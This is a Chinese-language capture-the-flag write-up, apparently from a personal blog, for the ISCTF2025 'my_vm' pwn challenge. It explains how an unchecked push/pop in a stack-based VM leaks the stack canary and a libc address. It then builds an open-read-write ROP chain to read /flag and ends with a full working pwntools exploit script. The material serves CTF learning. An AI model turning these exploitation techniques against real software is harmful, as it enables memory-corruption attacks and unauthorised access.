my_vm

isctf2025my_vm (1).png

isctf2025my_vm (6).png

main函数:

isctf2025my_vm (3).png

isctf2025my_vm (4).png

ret_code函数:

isctf2025my_vm (5).png

题目没有后门函数,禁止了execve,我们看main函数,这里实现的是一个栈上的vm虚拟机,我们输入一个数字,这个数字进入ret_code,会被拆分成四部分

v3 = (char *)&v2; // 把长整型 v2 的地址强制转换为字符指针(按字节看)

*v4 = *v3;        // 取第1个字节 -> 拿到 0x56
v4[1] = v3[1];    // 取第2个字节 -> 拿到 0x34
v4[2] = v3[2];    // 取第3个字节 -> 拿到 0x12
v4[3] = v3[3];    // 取第4个字节 -> 拿到 0x00

例如我们输入0x00123456,就会被拆分成56、34、12、00(小端序),v4就是main函数的ptr,我们看main函数可以知道ptr[0]是操作码,对应case1、2、3.....,ptr[1],ptr[2],ptr[3],分别是操作对象a1、a2、a3,reg相当于寄存器,操作码0~6就是对寄存器进行操作,操作码7相当于push,操作码8相当于pop,这里主要的漏洞就在于这个push和pop,因为它们和正常的push、pop有点差别

这里v6是确定栈顶位置的,可以类比栈顶指针,v9是栈空间

我们先看push,我们假设现在push了一个值,v3=0-->v6=1-->把操作对象reg[a1]写入v9[0],我们可以发现,v6指的永远是下一步要写入的地方,即假设栈顶是v9[n],v6指的是v9[n+1]

我们再看pop,假设栈顶现在是v9[n],v4=n+1-->v6=n-->把v9[n+1]写入操作对象reg[a1],我们发现,我们可以利用v6指的是下一步要写入的地方这个操作在没到达下一个位置时,就能pop出下一个位置的内容,我们可以利用这个机制泄露canary和libc(这里v9是在栈上的,而且这个push操作没有检查是否溢出,所以我们可以利用多次push达到v9[514]之外,即v9[515]等,这样我们就能进行栈溢出了)

再进行操作前,我们需要封装3个函数来简化我们的脚本

首先:

def rcode(op, reg1, reg2, reg3):
    t = op
    t += reg1 << 8
    t += reg2 << 16
    t += reg3 << 24
    return str(t) + "\n"

这里就是简化我们的输入操作码和操作对象,op是操作码,reg1、2、3分别对应a1、a2、a3,这里要注意小端序的问题,我们知道输入的v7是v4是取低32位,分成四份,每份8位,那我们就要把op放在最低一字节,放reg1,左移八位即一字节,到达倒数第二字节,以此类推,最后我们把这个转换为str形式并加上\n给scanf读取

然后:

我们发现这个vm没有立即数功能,就是我们直接向寄存器输入我们的数字,只能通过寄存器运算,这里我们封装一个写入地址的函数

def pianyi(p):
    pay = rcode(0, 1,1,4) * (p & 0xf)
    pay += rcode(0, 1,1,5) * ((p >> 4) & 0xf)
    pay += rcode(0, 1,1,6) * ((p >> 8) & 0xf)
    pay += rcode(0, 1,1,7) * ((p >> 12) & 0xf)
    pay += rcode(0, 1,1,8) * ((p >> 16) & 0xf)
    pay += rcode(0, 1,1,9) * ((p >> 20) & 0xf)
    return pay

要进行运算,我们要有基底,我们在脚本中把reg分别设置为:reg[1]=0,reg[4]=0x1,reg[5]=0x10,reg[6]=0x100,reg[7]=0x1000,以此类推到9,在python中0xf代表-1,p是我们输入的地址

我们以p = 0x123为例

(p & 0xf)取最后一个十六进制数3,

rcode(0, 1,1,4):意思是 reg[1] = reg[1] + reg[4] (加0x1)

* 3:把这条指令重复 3次

当前 reg[1] 总值:0x3

((p >> 4) & 0xf)先右移四位变成0x12,取最后的2

rcode(0, 1,1,5):意思是 reg[1] = reg[1] + reg[5] (加 0x10)。

* 2:把这条指令重复 2次

当前 reg[1] 总值:0x23

((p >> 8) & 0xf)变成0x1,取最后的1

rcode(0, 1,1,6):意思是 reg[1] = reg[1] + reg[6] (加 0x100)。

* 1:把这条指令重复 1次

当前 reg[1] 总值:0x123

这个函数就是实现把我们输入的地址放入reg[1]的功能,这个是为下面一个函数铺垫的

最后返回pay,pay相当于rcode的指令链,虽然我们是一次发送pay的,但是scanf只会一个一个rcode的读取,pay的其他rcode会先放在缓冲区

最后一个:

def pvm(p):
    pay = rcode(6, 1,1,1)
    pay += pianyi(p)
    pay += rcode(0, 0,1,2)
    pay += rcode(7, 0,0,0)
    return pay

首先进行操作6异或清空reg[1](任何值与自身进行异或运算的结果都是 0,任何值与 0 进行异或运算的结果都是它自己),然后把偏移写入reg[1],我们脚本中会把libc基址存入reg[2],所以下一步就是把真实地址存入reg[0](reg[1]+reg[2]),然后把reg[0]压入栈,返回pay这个指令链

那接下来我们看具体实现:

首先

pay = rcode(7, 0, 0, 0)*0x201

我们先push到canary的位置(这里v9在rbp-0x1010的位置,我们push一次是8字节,我们一次push8字节,0x1010/8=0x202),这时下一个位置就是canary,同时,v6也指向canary

pay += rcode(8, 3,0,0)
pay += rcode(7, 0, 0, 0)
pay += rcode(7, 3, 0, 0)
pay += rcode(7, 0, 0, 0)
pay += rcode(8, 2, 0, 0)

然后pop就把canary存入了reg[3],这时我们栈退了一个,我们再push回到canary前,然后push reg[3],就把canary放回去了,我们就成功通过canary检查了,接下来我们覆盖rbp,然后到了main的返回地址,我们知道,main函数的返回地址是一个libc地址,那我们此时把这个地址pop存入reg[2]中

然后构建我们前面说的基底

#0x1
pay += rcode(3, 4, 3, 3)
# 5 0x10
pay += rcode(0, 5, 4, 4)
pay += rcode(0, 5, 5,5)
pay += rcode(0, 5, 5,5)
pay += rcode(0, 5, 5,5)
#0x100
pay += rcode(2, 6, 5, 5)
#0x1000
pay += rcode(2, 7, 5, 6)
#0x10000
pay += rcode(2, 8, 5, 7)
#0x100000
pay += rcode(2, 9, 5, 8)

0x1很好构建,自己除自己就行了,0x10往上的也很好构建,用0x10相乘就行,我们重点在于0x10的构建,这里就用0x1然后不断加就行了,不难理解

pay += pianyi(0x29d90)
pay += rcode(1, 2, 2, 1)

用减去偏移的方法计算libc基址,存入reg[2]

然后就是构造rop链了,我们要写入字符串"/flag\x00",这里我们采用先调用一个read把字符串读入一个可写的位置,这里我们泄露了libc基址,我们找找libc中有没有可写的位置

isctf2025my_vm (2).png

我们看到是有的,那我们就设置个偏移就能得到确切位置了

这里的gadget也足够,除了mov rdi,rax,所以我们orw中read的rdi只能硬编码,如果3不行就往后试

我们以第一个read为例,orw链同理

pay += pvm(pop_rdx_r12)
pay += rcode(7, 6,0,0)
pay += rcode(7, 0xa,0,0)
pay += pvm(pop_rdi)
pay += rcode(7, 0xa, 0, 0)
pay += pvm(pop_rsi)
pay += pvm(0x21a000)
pay += pvm(libc.sym["read"])

对应着正常rop链就是:

payload = flat([
    pop_rdx_r12,  
    0x100,            #reg[6]=0x100
    0,                #reg[10]=0
    pop_rdi,   
    0,  
    pop_rsi,  
    libc.address + 0x21a000, 
    libc.sym['read'] 
])

然后写orw链就能getflag了

EXP:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')

file_name = './vm'
ld_name   = './ld-linux-x86-64.so.2'
libc_name = './libc.so.6'

elf = ELF(file_name)
libc = ELF(libc_name)

choice = 0
if choice == 1:
    target = 'challenge.imxbt.cn'
    port   = 30238
    p = remote(target, port)
else:
    p = process([ld_name, '--library-path', '.', file_name])

gdb_ = 0
if gdb_ and choice == 0:
    gdb.attach(p)

def rcode(op, reg1, reg2, reg3):
    t = op
    t += reg1 << 8
    t += reg2 << 16
    t += reg3 << 24
    return str(t) + "\n"

def pianyi(p):
    pay = rcode(0, 1,1,4) * (p & 0xf)
    pay += rcode(0, 1,1,5) * ((p >> 4) & 0xf)
    pay += rcode(0, 1,1,6) * ((p >> 8) & 0xf)
    pay += rcode(0, 1,1,7) * ((p >> 12) & 0xf)
    pay += rcode(0, 1,1,8) * ((p >> 16) & 0xf)
    pay += rcode(0, 1,1,9) * ((p >> 20) & 0xf)
    return pay

def pvm(p):
    pay = rcode(6, 1,1,1)
    pay += pianyi(p)
    pay += rcode(0, 0,1,2)
    pay += rcode(7, 0,0,0)
    return pay

pay = rcode(7, 0, 0, 0)*0x201
# canary
pay += rcode(8, 3,0,0)
pay += rcode(7, 0, 0, 0)
pay += rcode(7, 3, 0, 0)
pay += rcode(7, 0, 0, 0)
pay += rcode(8, 2, 0, 0)

#0x1
pay += rcode(3, 4, 3, 3)
# 5 0x10
pay += rcode(0, 5, 4, 4)
pay += rcode(0, 5, 5,5)
pay += rcode(0, 5, 5,5)
pay += rcode(0, 5, 5,5)
#0x100
pay += rcode(2, 6, 5, 5)
#0x1000
pay += rcode(2, 7, 5, 6)
#0x10000
pay += rcode(2, 8, 5, 7)
#0x100000
pay += rcode(2, 9, 5, 8)

#libc基址
pay += pianyi(0x29d90)
pay += rcode(1, 2, 2, 1)

# rop
pay += rcode(7, 0,0,0)
pop_rdi = 0x02a3e5
pop_rsi = 0x02be51
pop_rdx_r12 = 0x11f2e7

pay += pvm(pop_rdx_r12)
pay += rcode(7, 6,0,0)
pay += rcode(7, 0xa,0,0)
pay += pvm(pop_rdi)
pay += rcode(7, 0xa, 0, 0)
pay += pvm(pop_rsi)
pay += pvm(0x21a000)
pay += pvm(libc.sym["read"])

pay += pvm(pop_rdi)
pay += pvm(0x21a000)
pay += pvm(pop_rsi)
pay += rcode(7, 0xa,0,0)
pay += pvm(pop_rdx_r12)
pay += rcode(7, 0xa,4,4)
pay += rcode(7, 0xa,4,4)
pay += pvm(libc.sym["open"])

pay += pvm(pop_rdi)
pay += rcode(0, 0,4,4)
pay += rcode(0, 0,0,4)
pay += rcode(7, 0,0,0)
pay += pvm(pop_rsi)
pay += pvm(0x21a000)
pay += pvm(pop_rdx_r12)
pay += rcode(7, 6,4,4)
pay += rcode(7, 0xa,4,4)
pay += pvm(libc.sym["read"])

pay += pvm(pop_rdi)
pay += rcode(7, 4,0,0)
pay += pvm(pop_rdx_r12)   
pay += rcode(7, 6,4,4)   
pay += rcode(7, 0xa,4,4)
pay += pvm(libc.sym["write"])

pay += rcode(9, 0, 0, 0)
p.send(pay)
p.sendline("/flag\x00")
p.interactive()

题目链接:

CTF-Writeups/ISCTF2025/my_vm at main · Zenquiem/CTF-Writeups


my_vm
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-pVQaMltX
作者
ZenDuk
发布于
2025年12月22日
许可协议